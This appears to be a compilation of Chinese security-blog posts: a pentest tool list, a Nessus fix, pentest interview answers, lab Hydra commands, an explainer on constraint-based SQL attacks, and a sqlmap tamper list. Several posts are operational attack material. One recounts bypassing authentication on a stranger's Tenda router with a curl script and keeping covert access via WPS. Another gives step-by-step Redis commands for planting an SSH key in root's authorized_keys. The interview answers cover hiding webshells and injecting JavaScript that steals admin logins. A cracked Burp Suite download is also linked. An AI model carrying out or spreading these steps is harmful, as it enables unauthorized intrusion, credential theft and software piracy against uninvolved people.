漏洞练习平台总结 渗透测试
漏洞及渗透练习平台:
WebGoat漏洞练习环境
https://github.com/WebGoat/WebGoat
https://github.com/WebGoat/WebGoat-Legacy
Damn Vulnerable Web Application(漏洞练习平台)
https://github.com/RandomStorm/DVWA
数据库注入练习平台
https://github.com/Audi-1/sqli-labs
用node编写的漏洞练习平台,like OWASP Node Goat
https://github.com/cr0hn/vulnerable-node
花式扫描器 :
端口扫描器Nmap
https://github.com/nmap/nmap
本地网络扫描器
https://github.com/SkyLined/LocalNetworkScanner
子域名扫描器
https://github.com/lijiejie/subDomainsBrute
漏洞路由扫描器
https://github.com/jh00nbr/Routerhunter-2.0
迷你批量信息泄漏扫描脚本
https://github.com/lijiejie/BBScan
Waf类型检测工具
https://github.com/EnableSecurity/wafw00f
信息搜集工具 :
社工插件,可查找以email、phone、username的注册的所有网站账号信息
https://github.com/n0tr00t/Sreg
Github信息搜集,可实时扫描查询git最新上传有关邮箱账号密码信息
https://github.com/sea-god/gitscan
github Repo信息搜集工具
https://github.com/metac0rtex/GitHarvester
WEB:
webshell大合集
https://github.com/tennc/webshell
渗透以及web攻击脚本
https://github.com/brianwrf/hackUtils
web渗透小工具大合集
https://github.com/rootphantomer/hack_tools_for_me
XSS数据接收平台
https://github.com/firesunCN/BlueLotus_XSSReceiver
XSS与CSRF工具
https://github.com/evilcos/xssor
Short for command injection exploiter,web向命令注入检测工具
https://github.com/stasinopoulos/commix
数据库注入工具
https://github.com/sqlmapproject/sqlmap
Web代理,通过加载sqlmap api进行sqli实时检测
https://github.com/zt2/sqli-hunter
新版中国菜刀
https://github.com/Chora10/Cknife
.git泄露利用EXP
https://github.com/lijiejie/GitHack
浏览器攻击框架
https://github.com/beefproject/beef
自动化绕过WAF脚本
https://github.com/khalilbijjou/WAFNinja
http命令行客户端,可以从命令行构造发送各种http请求(类似于Curl)
https://github.com/jkbrzt/httpie
浏览器调试利器
https://github.com/firebug/firebug
一款开源WAF
https://github.com/SpiderLabs/ModSecurity
windows域渗透工具:
windows渗透神器
https://github.com/gentilkiwi/mimikatz
Powershell渗透库合集
https://github.com/PowerShellMafia/PowerSploit
Powershell tools合集
https://github.com/clymb3r/PowerShell
Fuzz:
Web向Fuzz工具
https://github.com/xmendez/wfuzz
HTTP暴力破解,撞库攻击脚本
https://github.com/lijiejie/htpwdScan
漏洞利用及攻击框架:
msf
https://github.com/rapid7/metasploit-framework
Poc调用框架,可加载Pocsuite,Tangscan,Beebeeto等
https://github.com/erevus-cn/pocscan
Pocsuite
https://github.com/knownsec/Pocsuite
Beebeeto
https://github.com/n0tr00t/Beebeeto-framework
漏洞POC&EXP:
ExploitDB官方git版本
https://github.com/offensive-security/exploit-database
php漏洞代码分析
https://github.com/80vul/phpcodz
Simple test for CVE-2016-2107
https://github.com/FiloSottile/CVE-2016-2107
CVE-2015-7547 POC
https://github.com/fjserna/CVE-2015-7547
JAVA反序列化POC生成工具
https://github.com/frohoff/ysoserial
JAVA反序列化EXP
https://github.com/foxglovesec/JavaUnserializeExploits
Jenkins CommonCollections EXP
https://github.com/CaledoniaProject/jenkins-cli-exploit
CVE-2015-2426 EXP (windows内核提权)
https://github.com/vlad902/hacking-team-windows-kernel-lpe
use docker to show web attack(php本地文件包含结合phpinfo getshell 以及ssrf结合curl的利用演示)
https://github.com/hxer/vulnapp
php7缓存覆写漏洞Demo及相关工具
https://github.com/GoSecure/php7-opcache-override
XcodeGhost木马样本
https://github.com/XcodeGhostSource/XcodeGhost
中间人攻击及钓鱼
中间人攻击框架
https://github.com/secretsquirrel/the-backdoor-factory
https://github.com/secretsquirrel/BDFProxy
https://github.com/byt3bl33d3r/MITMf
Inject code, jam wifi, and spy on wifi users
https://github.com/DanMcInerney/LANs.py
可扩展的中间人代理工具
https://github.com/intrepidusgroup/mallory
wifi钓鱼
https://github.com/sophron/wifiphisher
密码破解:
密码破解工具
https://github.com/shinnok/johnny
本地存储的各类密码提取利器
https://github.com/AlessandroZ/LaZagne
二进制及代码分析工具:
二进制分析工具
https://github.com/devttys0/binwalk
系统扫描器,用于寻找程序和库然后收集他们的依赖关系,链接等信息
https://github.com/quarkslab/binmap
rp++ is a full-cpp written tool that aims to find ROP sequences in PE/Elf/Mach-O (doesn't support the FAT binaries) x86/x64 binaries.
https://github.com/0vercl0k/rp
Windows Exploit Development工具
https://github.com/lillypad/badger
二进制静态分析工具(python)
https://github.com/bdcht/amoco
Python Exploit Development Assistance for GDB
https://github.com/longld/peda
对BillGates Linux Botnet系木马活动的监控工具
https://github.com/ValdikSS/billgates-botnet-tracker
木马配置参数提取工具
https://github.com/kevthehermit/RATDecoders
Shellphish编写的二进制分析工具(CTF向)
https://github.com/angr/angr
针对python的静态代码分析工具
https://github.com/yinwang0/pysonar2
一个自动化的脚本(shell)分析工具,用来给出警告和建议
https://github.com/koalaman/shellcheck
基于AST变换的简易Javascript反混淆辅助工具
https://github.com/ChiChou/etacsufbo
EXP编写框架及工具:
二进制EXP编写工具
https://github.com/t00sh/rop-tool
CTF Pwn 类题目脚本编写框架
https://github.com/Gallopsled/pwntools
an easy-to-use io library for pwning development
https://github.com/zTrix/zio
跨平台注入工具( Inject JavaScript to explore native apps on Windows, Mac, Linux, iOS and Android.)
https://github.com/frida/frida
隐写:
隐写检测工具
https://github.com/abeluck/stegdetect
各类安全资料:
域渗透教程
https://github.com/l3m0n/pentest_study
python security教程(原文链接http://www.primalsecurity.net/tutorials/python-tutorials/)
https://github.com/smartFlash/pySecurity
data_hacking合集
https://github.com/ClickSecurity/data_hacking
mobile-security-wiki
https://github.com/exploitprotocol/mobile-security-wiki
书籍《reverse-engineering-for-beginners》
https://github.com/veficos/reverse-engineering-for-beginners
一些信息安全标准及设备配置
https://github.com/luyg24/IT_security
APT相关笔记
https://github.com/kbandla/APTnotes
Kcon资料
https://github.com/knownsec/KCon
ctf及黑客资源合集
https://github.com/bt3gl/My-Gray-Hacker-Resources
ctf和安全工具大合集
https://github.com/zardus/ctf-tools
《DO NOT FUCK WITH A HACKER》
https://github.com/citypw/DNFWAH
各类CTF资源
近年ctf writeup大全
https://github.com/ctfs/write-ups-2016
https://github.com/ctfs/write-ups-2015
https://github.com/ctfs/write-ups-2014
fbctf竞赛平台Demo
https://github.com/facebook/fbctf
ctf Resources
https://github.com/ctfs/resources
各类编程资源:
大礼包(什么都有)
https://github.com/bayandin/awesome-awesomeness
bash-handbook
https://github.com/denysdovhan/bash-handbook
python资源大全
https://github.com/jobbole/awesome-python-cn
git学习资料
https://github.com/xirong/my-git
安卓开源代码解析
https://github.com/android-cn/android-open-project-analysis
python框架,库,资源大合集
https://github.com/vinta/awesome-python
JS 正则表达式库(用于简化构造复杂的JS正则表达式)
https://github.com/VerbalExpressions/JSVerbalExpressions
Python:
python 正则表达式库(用于简化构造复杂的python正则表达式)
https://github.com/VerbalExpressions/PythonVerbalExpressions
python任务管理以及命令执行库
https://github.com/pyinvoke/invoke
python exe打包库
https://github.com/pyinstaller/pyinstaller
py3 爬虫框架
https://github.com/orf/cyborg
一个提供底层接口数据包编程和网络协议支持的python库
https://github.com/CoreSecurity/impacket
python requests 库
https://github.com/kennethreitz/requests
python 实用工具合集
https://github.com/mahmoud/boltons
python爬虫系统
https://github.com/binux/pyspider
ctf向 python工具包
https://github.com/P1kachu/v0lt
科学上网:
科学上网工具
https://github.com/XX-net/XX-Net
福利:
微信自动抢红包动态库
https://github.com/east520/AutoGetRedEnv
微信抢红包插件(安卓版)
https://github.com/geeeeeeeeek/WeChatLuckyMoney
神器
https://github.com/yangyangwithgnu/hardseed
nessus Error (500): Activation failed的解决办法 安全工具
nessus的大名我就不多做介绍了,玩的人自然懂.今天给新机器安装的时候,到注册哪一步,输入发到邮箱的激活码,却提示我,nessus Error (500): Activation failed.
Google了一下,没有,但是在官方的论坛找到了Error (500): Failed to launch scan的解答,然后,怀着姑且试一试的心态,成功了,所以在此小记一下,希望可以帮到需要的人.下面先说激活码的获得步骤,呵,这是老生常谈的,我也还是记一下,就当笔记吧.
直接访问这个网址注册,即可在邮箱收到激活码:http://www.tenable.com/products/nessus-home
PS:全程最好使用代理,VPN,最好是美国的IP,使用国内的IP有可能会收不到激活码或者是注册失败.
PPS:邮箱推荐使用gmail邮箱.
最后就是这篇文章的主题,解决注册码输入提示错误的问题.
打开cmd. 执行一下命令(前提是你是默认安装路径没有改,请酌情注意路径/修改)
cd c:\program files\tenable\nessus
net stop "tenable nessus"
nessuscli update --all
这时候再回到输入激活码的那个页面,刷新一下,再次输入激活码,OK...成功进入自动升级配置界面,慢慢等待吧,第一次时间很长的,嗯,很长,几分钟-_-,全程VPN会快些.毕竟他的更新服务器在国外....当然插件这些可以离线手动更新.
下面贴上Error (500): Failed to launch scan的解决办法:
Try these commands.
Windows:
Open CMD as admin
cd c:\program files\tenable\nessus
net stop "tenable nessus"
nessuscli update --all
nessusd -R
net start "tenable nessus
Linux:
Open a root shell/command prompt window.
cd /opt/nessus/sbin
service nessusd stop
./nessuscli update --all
./nessusd -R
service nessusd start
When you run the nessuscli update --all and gets an error, you need to reset their activation code and run the command 'nessuscli fetch --register <Activation-code-here>' after stopping Nessus
参考链接: https://community.tenable.com/thread/10242
一套实用的渗透测试岗位面试题,你会吗? 渗透测试
1.拿到一个待检测的站,你觉得应该先做什么?
-
收集信息
whois、网站源IP、旁站、C段网站、服务器系统版本、容器版本、程序版本、数据库类型、二级域名、防火墙、维护者信息另说...
2.mysql的网站注入,5.0以上和5.0以下有什么区别?
-
5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。
-
5.0以下是多用户单操作,5.0以上是多用户多操做。
3.在渗透过程中,收集目标站注册人邮箱对我们有什么价值?
-
丢社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台。
-
用邮箱做关键词进行丢进搜索引擎。
-
利用搜索到的关联信息找出其他邮进而得到常用社交账号。
-
社工找出社交账号,里面或许会找出管理员设置密码的习惯 。
-
利用已有信息生成专用字典。
-
观察管理员常逛哪些非大众性网站,拿下它,你会得到更多好东西。
4.判断出网站的CMS对渗透有什么意义?
-
查找网上已曝光的程序漏洞。
-
如果开源,还能下载相对应的源码进行代码审计。
5.一个成熟并且相对安全的CMS,渗透时扫目录的意义?
-
敏感文件、二级目录扫描
-
站长的误操作比如:网站备份的压缩文件、说明.txt、二级目录可能存放着其他站点
6.常见的网站服务器容器。
-
IIS、Apache、nginx、Lighttpd、Tomcat
7.mysql注入点,用工具对目标站直接写入一句话,需要哪些条件?
-
root权限以及网站的绝对路径。
8.目前已知哪些版本的容器有解析漏洞,具体举例。
-
IIS 6.0
/xx.asp/xx.jpg "xx.asp"是文件夹名
-
IIS 7.0/7.5
默认Fast-CGI开启,直接在url中图片地址后面输入/1.php,会把正常图片当成php解析
-
Nginx
版本小于等于0.8.37,利用方法和IIS 7.0/7.5一样,Fast-CGI关闭情况下也可利用。
空字节代码 xxx.jpg%00.php
-
Apache
上传的文件命名为:test.php.x1.x2.x3,Apache是从右往左判断后缀
-
lighttpd
xx.jpg/xx.php,不全,请小伙伴们在评论处不吝补充,谢谢!
9.如何手工快速判断目标站是windows还是linux服务器?
-
linux大小写敏感,windows大小写不敏感。
10.为何一个mysql数据库的站,只有一个80端口开放?
-
更改了端口,没有扫描出来。
-
站库分离。
-
3306端口不对外开放
11.3389无法连接的几种情况。
-
没开放3389 端口
-
端口被修改
-
防护拦截
-
处于内网(需进行端口转发)
12.如何突破注入时字符被转义?
-
宽字符注入
-
hex编码绕过
13.在某后台新闻编辑界面看到编辑器,应该先做什么?
-
查看编辑器的名称版本,然后搜索公开的漏洞。
14.拿到一个webshell发现网站根目录下有.htaccess文件,我们能做什么?
-
能做的事情很多,用隐藏网马来举例子:
插入
<FilesMatch "xxx.jpg"> SetHandler application/x-httpd-php </FilesMatch>
.jpg文件会被解析成.php文件。 -
具体其他的事情,不好详说,建议大家自己去搜索语句来玩玩。
15.注入漏洞只能查账号密码?
-
只要权限广,拖库脱到老。
16.安全狗会追踪变量,从而发现出是一句话木马吗?
-
是根据特征码,所以很好绕过了,只要思路宽,绕狗绕到欢,但这应该不会是一成不变的。
17.access 扫出后缀为asp的数据库文件,访问乱码。如何实现到本地利用。
-
迅雷下载,直接改后缀为.mdb。
18.提权时选择可读写目录,为何尽量不用带空格的目录?
-
因为exp执行多半需要空格界定参数
19.某服务器有站点A,B 为何在A的后台添加test用户,访问B的后台。发现也添加上了test用户?
-
同数据库。
20.注入时可以不使用and 或or 或xor,直接order by 开始注入吗?
-
and/or/xor,前面的1=1、1=2步骤只是为了判断是否为注入点,如果已经确定是注入点那就可以省那步骤去。
21:某个防注入系统,在注入时会提示:
系统检测到你有非法注入的行为。
已记录您的ip xx.xx.xx.xx
时间:2016:01-23
提交页面:test.asp?id=15
提交内容:and 1=1
如何利用这个防注入系统拿shell?
-
在URL里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了 这个时候可以尝试寻找网站的配置文件 直接上菜刀链接。具体文章参见:http://ytxiao.lofter.com/post/40583a_ab36540。
22.上传大马后访问乱码时,有哪些解决办法?
-
浏览器中改编码。
23.审查上传点的元素有什么意义?
-
有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了。
24.目标站禁止注册用户,找回密码处随便输入用户名提示:“此用户不存在”,你觉得这里怎样利用?
-
先爆破用户名,再利用被爆破出来的用户名爆破密码。
-
其实有些站点,在登陆处也会这样提示
-
所有和数据库有交互的地方都有可能有注入。
25.目标站发现某txt的下载地址为http://www.test.com/down/down.php?file=/upwdown/1.txt,你有什么思路?
-
这就是传说中的下载漏洞!在file=后面尝试输入index.php下载他的首页文件,然后在首页文件里继续查找其他网站的配置文件,可以找出网站的数据库密码和数据库的地址。
26.甲给你一个目标站,并且告诉你根目录下存在/abc/目录,并且此目录下存在编辑器和admin目录。请问你的想法是?
-
直接在网站二级目录/abc/下扫描敏感文件及目录。
27.在有shell的情况下,如何使用xss实现对目标站的长久控制?
-
后台登录处加一段记录登录账号密码的js,并且判断是否登录成功,如果登录成功,就把账号密码记录到一个生僻的路径的文件中或者直接发到自己的网站文件中。(此方法适合有价值并且需要深入控制权限的网络)。
-
在登录后才可以访问的文件中插入XSS脚本。
28.后台修改管理员密码处,原密码显示为*。你觉得该怎样实现读出这个用户的密码?
-
审查元素 把密码处的password属性改成text就明文显示了
29.目标站无防护,上传图片可以正常访问,上传脚本格式访问则403.什么原因?
-
原因很多,有可能web服务器配置把上传目录写死了不执行相应脚本,尝试改后缀名绕过
30.审查元素得知网站所使用的防护软件,你觉得怎样做到的?
-
在敏感操作被拦截,通过界面信息无法具体判断是什么防护的时候,F12看HTML体部 比如护卫神就可以在名称那看到
<hws>内容<hws>
。
31.在win2003服务器中建立一个 .zhongzi文件夹用意何为?
-
隐藏文件夹,为了不让管理员发现你传上去的工具。
32、sql注入有以下两个测试选项,选一个并且阐述不选另一个的理由:
A. demo.jsp?id=2+1 B. demo.jsp?id=2-1
选B,在 URL 编码中 + 代表空格,可能会造成混淆
33、以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路?
demo.do?DATA=AjAxNg==
DATA有可能经过了 base64 编码再传入服务器,所以我们也要对参数进行 base64 编码才能正确完成测试
34、发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪种是优选?
有写入权限的,构造联合查询语句使用using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样去写入 WebShell
使用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样效率更高
通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell
35、CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?
XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。
CSRF是跨站请求伪造攻击,XSS是实现CSRF的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer
XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML解析库在调用时严格禁止对外部实体的解析。
36、CSRF、SSRF和重放攻击有什么区别?
CSRF是跨站请求伪造攻击,由客户端发起
SSRF是服务器端请求伪造,由服务器发起
重放攻击是将截获的数据包进行重放,达到身份认证等目的
37、说出至少三种业务逻辑漏洞,以及修复方式?
密码找回漏洞中存在密码允许暴力破解、存在通用型找回凭证、可以跳过验证步骤、找回凭证可以拦包获取等方式来通过厂商提供的密码找回功能来得到密码
身份认证漏洞中最常见的是会话固定攻击和 Cookie 仿冒,只要得到 Session 或 Cookie 即可伪造用户身份
验证码漏洞中存在验证码允许暴力破解、验证码可以通过 Javascript 或者改包的方法来进行绕过
38、圈出下面会话中可能存在问题的项,并标注可能会存在的问题?
get /ecskins/demo.jsp?uid=2016031900&keyword=”hello world”
HTTP/1.1Host:*******.com:82User-Agent:Mozilla/ 5.0 Firefox/40Accept:text/css,*/*;q=0.1
Accept-Language:zh-CN;zh;q=0.8;en-US;q=0.5,en;q=0.3
Referer:http://*******.com/eciop/orderForCC/
cgtListForCC.htm?zone=11370601&v=145902
Cookie:myguid1234567890=1349db5fe50c372c3d995709f54c273d;
uniqueserid=session_OGRMIFIYJHAH5_HZRQOZAMHJ;
st_uid=N90PLYHLZGJXI-NX01VPUF46W;
status=True
Connection:keep-alive
39、找一类你最擅长的漏洞,谈下绕过漏洞修复后的方案?
40、你常用的渗透工具有哪些,最常用的是哪个?
41、描述一个你深入研究过的 CVE 或 POC。
42、谈谈你经常关注的安全平台?
Kali渗透测试演练Metasploitable靶机(附详细word文档+乌云_vmware_201606) Linux
Kali渗透测试演练Metasploitable靶机
准备工作:
l VM虚拟机(http://www.vmware.com/cn.html)
l Kali(https://www.offensive-security.com/kali-linux-vmware-virtualbox-image-download/)
l Metasploitable靶机(https://sourceforge.net/projects/metasploitable/)
l 要求Kali和靶机在同一个Lan段
在开始工作前都确认一一下是否在同一个Lan段,分别登录Kali和靶机使用ifconfig 命令查看
注意:Metasploitable的默认账号、密码是:msfadmin:msfadmin,Kali的默认是root:toor
命令:隐蔽扫描:nmap -sS 192.168.209.138
端口爆破:FTP、SSH等
工具:Hydra
备用字典:
l 爆破FTP
hydra -L /root/Desktop/user.txt -P /root/Desktop/pass.txt ftp://192.168.209.138
l 爆破ssh
hydra -L /root/Desktop/user.txt -P /root/Desktop/pass.txt 192.168.209.138 ssh
通过23端口telnet登录进系统
图片过多,我就不一一上传了,都在文档里面,主要包括以下的测试列表,初学者可以测试体验:
- 端口爆破:FTP、SSH等
- 利用metasploit进行端口渗透等
- 8180——-Apache Tomcat弱口令等
【转载】基于约束的SQL攻击 渗透测试
前言
值得庆幸的是如今开发者在构建网站时,已经开始注重安全问题了。绝大部分开发者都意识到SQL注入漏洞的存在,在本文我想与读者共同去探讨另一种与SQL数据库相关的漏洞,其危害与SQL注入不相上下,但却不太常见。接下来,我将为读者详细展示这种攻击手法,以及相应的防御策略。
注意:本文不是讲述SQL注入攻击
背景介绍
最近,我遇到了一个有趣的代码片段,开发者尝试各种方法来确保数据库的安全访问。当新用户尝试注册时,将运行以下代码:
<?php
// Checking whether a user with the same username exists $username = mysql_real_escape_string($_GET['username']);
$password = mysql_real_escape_string($_GET['password']);
$query = "SELECT *
FROM users
WHERE username='$username'";
$res = mysql_query($query, $database); if($res) { if(mysql_num_rows($res) > 0) { // User exists, exit gracefully
.
.
} else { // If not, only then insert a new entry
$query = "INSERT INTO users(username, password)
VALUES ('$username','$password')";
.
.
}
}
使用以下代码验证登录信息:
<?php
$username = mysql_real_escape_string($_GET['username']);
$password = mysql_real_escape_string($_GET['password']);
$query = "SELECT username FROM users
WHERE username='$username'
AND password='$password' ";
$res = mysql_query($query, $database); if($res) { if(mysql_num_rows($res) > 0){
$row = mysql_fetch_assoc($res); return $row['username'];
}
} return Null;
安全考虑:
过滤用户输入参数了吗? — 完成检查
使用单引号(’)来增加安全性了吗? — 完成检查
按理说应该不会出错了啊?
然而,攻击者依然能够以任意用户身份进行登录!
攻击手法
在谈论这种攻击手法之前,首先我们需要了解几个关键知识点。
-
在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说“vampire”等同于“vampire ”,对于绝大多数情况来说都是成立的(诸如WHERE子句中的字符串或INSERT语句中的字符串)例如以下语句的查询结果,与使用用户名“vampire”进行查询时的结果是一样的。
SELECT * FROM users WHERE username='vampire ';
但也存在异常情况,最好的例子就是LIKE子句了。注意,对尾部空白符的这种修剪操作,主要是在“字符串比较”期间进行的。这是因为,SQL会在内部使用空格来填充字符串,以便在比较之前使其它们的长度保持一致。
-
在所有的INSERT查询中,SQL都会根据varchar(n)来限制字符串的最大长度。也就是说,如果字符串的长度大于“n”个字符的话,那么仅使用字符串的前“n”个字符。比如特定列的长度约束为“5”个字符,那么在插入字符串“vampire”时,实际上只能插入字符串的前5个字符,即“vampi”。
现在,让我们建立一个测试数据库来演示具体攻击过程。
vampire@linux:~$ mysql -u root -p
mysql> CREATE DATABASE testing; Query OK, 1 row affected (0.03 sec) mysql> USE testing; Database changed
接着创建一个数据表users,其包含username和password列,并且字段的最大长度限制为25个字符。然后,我将向username字段插入“vampire”,向password字段插入“my_password”。
mysql> CREATE TABLE users ( -> username varchar(25),
-> password varchar(25)
-> );
Query OK, 0 rows affected (0.09 sec)
mysql> INSERT INTO users
-> VALUES('vampire', 'my_password');
Query OK, 1 row affected (0.11 sec)
mysql> SELECT * FROM users;
+----------+-------------+
| username | password |
+----------+-------------+
| vampire | my_password |
+----------+-------------+ 1 row in set (0.00 sec)
为了展示尾部空白字符的修剪情况,我们可以键入下列命令:
mysql> SELECT * FROM users
-> WHERE username='vampire '; +----------+-------------+ | username | password | +----------+-------------+ | vampire | my_password | +----------+-------------+ 1 row in set (0.00 sec)
现在我们假设一个存在漏洞的网站使用了前面提到的PHP代码来处理用户的注册及登录过程。为了侵入任意用户的帐户(在本例中为“vampire”),只需要使用用户名“vampire[许多空白符]1”和一个随机密码进行注册即可。对于选择的用户名,前25个字符应该只包含vampire和空白字符,这样做将有助于绕过检查特定用户名是否已存在的查询。
mysql> SELECT * FROM users
-> WHERE username='vampire 1';
Empty set (0.00 sec)
需要注意的是,在执行SELECT查询语句时,SQL是不会将字符串缩短为25个字符的。因此,这里将使用完整的字符串进行搜索,所以不会找到匹配的结果。接下来,当执行INSERT查询语句时,它只会插入前25个字符。
mysql> INSERT INTO users(username, password)
-> VALUES ('vampire 1', 'random_pass');
Query OK, 1 row affected, 1 warning (0.05 sec)
mysql> SELECT * FROM users
-> WHERE username='vampire';
+---------------------------+-------------+
| username | password |
+---------------------------+-------------+
| vampire | my_password |
| vampire | random_pass |
+---------------------------+-------------+ 2 rows in set (0.00 sec)
很好,现在我们检索“vampire”的,将返回两个独立用户。注意,第二个用户名实际上是“vampire”加上尾部的18个空格。现在,如果使用用户名“vampire”和密码“random_pass”登录的话,则所有搜索该用户名的SELECT查询都将返回第一个数据记录,也就是原始的数据记录。这样的话,攻击者就能够以原始用户身份登录。这个攻击已经在MySQL和SQLite上成功通过测试。我相信在其他情况下依旧适用。
防御手段
毫无疑问,在进行软件开发时,需要对此类安全漏洞引起注意。我们可采取以下几项措施进行防御:
-
将要求或者预期具有唯一性的那些列加上UNIQUE约束。实际上这是一个涉及软件开发的重要规则,即使你的代码有维持其完整性的功能,也应该恰当的定义数据。由于’username’列具有UNIQUE约束,所以不能插入另一条记录。将会检测到两个相同的字符串,并且INSERT查询将失败。
-
最好使用’id’作为数据库表的主键。并且数据应该通过程序中的id进行跟踪
-
为了更加安全,还可以用手动调整输入参数的限制长度(依照数据库设置)
注:
最好讲MySQL设置成宽松模式,set @@sql_mode=ANSI;即可,还有就是注册时,一般的这种非法的用户名是不能注册的吧。。。不过还是又利用空间的。
文章出自:https://dhavalkapil.com/blogs/SQL-Attack-Constraint-Based/
burpsuite渗透测试实战指南八集+burpsuite_pro_v1.7.08破解版(含下载) 安全工具
burpsuite是什么我就不讲了,这些文档是别人写的,原文在:https://www.gitbook.com/book/t0data/burpsuite/details
文档包括完整PDF和分卷的word文档,更具自己的需求下载阅读,希望对你的渗透测试有所帮助。
burpsuite_pro_v1.7.08 下载:链接: http://pan.baidu.com/s/1bp7RVQJ 密码: 2t6n
文档下载:http://pan.baidu.com/s/1slTJXHb
最后,还有视频版的burpsuite教程,如果看不懂上面的文字版,那就看这个视频版的,哈哈。
链接: http://pan.baidu.com/s/1kU8HsCf 密码: 5thn
实测绕过腾达某型号路由器后台登陆认证,获得管理权限 技术文章
刚好今天住的地方网络出了问题,就打开手机随便搜索了一下附近的wifi,发现有个可以用钥匙链接,毫不犹豫地连接上去,故事就此展开了:
习惯性地在连接上陌生wifi后进一下后台,用浏览器打开网关,来到这个页面:http://192.168.0.1/login.asp
一看,感觉好眼熟啊,这个和之前在乌云看到的那个腾达漏洞很相似啊,为了验证一下,F12后切换到Network选项卡下面,重新请求一遍,发现从首页index.asp 301 跳转到 login.asp ,而且没有cookies,那么是否是真的是那个漏洞呢?利用php的curl写了个简单的脚本:
<?php echo "找到路由的备份文件就好了,密码就在里面。腾达的备份文件是RouterCfm.cfg。在工具的地址栏输入:http://192.168.0.1/cgi-bin/DownloadCfg/RouterCfm.cfg,然后点获取当前地址源码。http_passwd就是登陆密码".'<br>'; $headers = array( // 'GET /index.asp HTTP/1.1', 'Host: 192.168.0.1', 'Cookie: admin:language=cn;', ); $url='http://192.168.0.1/index.asp'; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 120); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); $result = curl_exec($ch); curl_close($ch); echo $result; ?>
运行后的结果如下:
开始很纳闷,为啥没有宽带账号/密码,初步判断是静态IP或者是动态获取IP,从图中可以看到wifi密码是八个8--88888888 ,把配置文件下载下来后就可以看到后台的登陆密码了:
http_passwd=后面的就是路由器后台登陆密码,当然,你也可以不下载配置文件,直接在后台修改登录密码,但是这样容易被路由器的所有者发现,不建议这样做,进入路由后,如果有wps功能,请帮他打开,哈哈,这样即使他改了密码,你通过wps还是很可以轻松的拿到密码---拿下路由器。更多的关于拿下路由器后的各种姿势,请看这篇文章:破解了你的路由密码后,我还可以这样做,绝对不是蹭你网这么简单
这个漏洞在13年的时候就出来了,而且还有很多成品工具可以一键破解,可是这些厂家和我们的人民 没有多少安全意识,特别是在公共场合的wifi,朋友们在使用的时候,一定要注意,别在这些场所进行资金操作,或者是与个人隐私相关的操作,因为,谁也不知道咋某个角落是否有一个骇客正在监听或者嗅探 or 钓鱼呢? OK ,
通过redis入侵服务器的步骤 渗透测试
通过redis入侵服务器的原理是:利用了redis默认配置,许多用户没有设置访问的key。然后通过向redis把自己的公钥写入到redis,然后利更改redis的数据库文件配置,把数据写入到认证文件。形成免密码登陆。
一,生成本地ssh公钥
|
ssh-keygen
|
二,先连接redis看看
|
telnet 192.168.15.10 6379
redis-cli -h 192.168.15.10
|
三, 清一下redis数据库
|
redis-cli -h 192.168.15.10 flushall
|
四, 向redis写自己的公钥
|
catkey.txt |redis-cli -h 192.168.15.10 -xsetredis
|
五, 利用redis写入到文件中
|
#连接redis
#redis-cli -h 192.168.15.10
#查看keys
192.168.15.10>keys *
#写入配置库的路径及存放位置
192.168.15.10>CONFIG SETdir/root/.ssh/
#写入配置库名称及存放的名字
192.168.15.10>CONFIG SET dbfilename"authorized_keys"
#写入
192.168.15.10>save
#退出
192.168.15.10>exit
|
六, 远程连接
注意,这个是使用的默认的。也就是说别人是用的root来启动的redis 并且没有更改sshd配置文件的位置,以及redis可以默认的可以随意访问性的。当然有许多可以猜。
这个是最近redis爆出来的。
SQLMAP tamper WAF 绕过脚本列表注释 网络安全
sqlmap的tamper目录下有41个用于绕过waf的脚本,网上有文章简要介绍过使用方法,但是只是简单说了其中少数几个的作用。本人通过这41个脚本的文档注释,将它们每一个的作用简单标记了一下,还是像之前一样,先 google translate 再人工润色。其实,文档注释里面都有例子,看一眼就大概知道效果了,比看文字描述速度还快,只不过要用的时候现场翻看还是太麻烦了。我这个列表可以给大家提供参考,来更迅速的定位自己需要的脚本。
本人英文阅读能力有限,有个别词句(其实就2处)实在拿捏不准该如何翻译,就把英文照搬过来了。另外,虽然下了不少功夫翻译和校对,但自认为错误在所难免,大家有发现我翻译错误的,请指出来,谢谢大家。
01. apostrophemask.py 用UTF-8全角字符替换单引号字符
02. apostrophenullencode.py 用非法双字节unicode字符替换单引号字符
03. appendnullbyte.py 在payload末尾添加空字符编码
04. base64encode.py 对给定的payload全部字符使用Base64编码
05. between.py 分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”
06. bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”
07. chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
08. charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符)
09. charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)
10. concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例
11. equaltolike.py 用“LIKE”运算符替换全部等于号“=”
12. greatest.py 用“GREATEST”函数替换大于号“>”
13. halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释
